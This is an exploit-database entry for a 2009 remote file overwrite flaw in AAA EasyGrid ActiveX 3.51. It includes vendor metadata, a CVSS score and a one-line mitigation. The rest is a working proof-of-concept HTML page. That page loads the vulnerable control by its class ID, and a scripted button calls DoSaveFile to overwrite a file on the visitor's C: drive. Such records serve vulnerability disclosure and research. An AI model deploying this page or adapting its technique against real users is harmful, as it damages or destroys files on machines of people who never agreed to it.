AAA EasyGrid ActiveX v 3.51 Remote File Overwrite exploit

vendor:

AAA EasyGrid ActiveX

by:

Houssamix

9.3

CVSS

HIGH

Remote File Overwrite

264

CWE

Product Name: AAA EasyGrid ActiveX

Affected Version From: 3.51

Affected Version To: 3.51

Patch Exists: Yes

Related CWE: N/A

CPE: a:aaa_easygrid:aaa_easygrid_activex

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP2

2009

AAA EasyGrid ActiveX v 3.51 Remote File Overwrite exploit

This exploit allows an attacker to overwrite a file on the victim's system with some HTML code. The vulnerability exists in the DoSaveFile() function of the AAA EasyGrid ActiveX v 3.51. The exploit has been tested on Windows XP Professional SP2 with Internet Explorer 6.

Mitigation:

The user should update to the latest version of the AAA EasyGrid ActiveX.

Source

Exploit-DB raw data:

=======================================================================================<br>
Author: Houssamix								       <br>
=======================================================================================<br>
- Viva Gazza - Viva Palestine - 						       <br>
AAA EasyGrid ActiveX  v 3.51 Remote File Overwrite exploit			       <br>
Download : http://www.share2.com/easygrid/download.htm		 		       <br>

 Tested on Windows XP Professional SP2 , with Internet Explorer 6		       <br>

Note : DoSaveHtmlFile() is vuln to , it well overwitten the file with some html code   <br>
=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{DD44C0EA-B2CF-31D1-8DD3-444553540000}"></object>

<SCRIPT>

function hehe()
 {
     File = "c:\\hsmx.txt"
   hsmx.DoSaveFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================

# milw0rm.com [2009-01-14]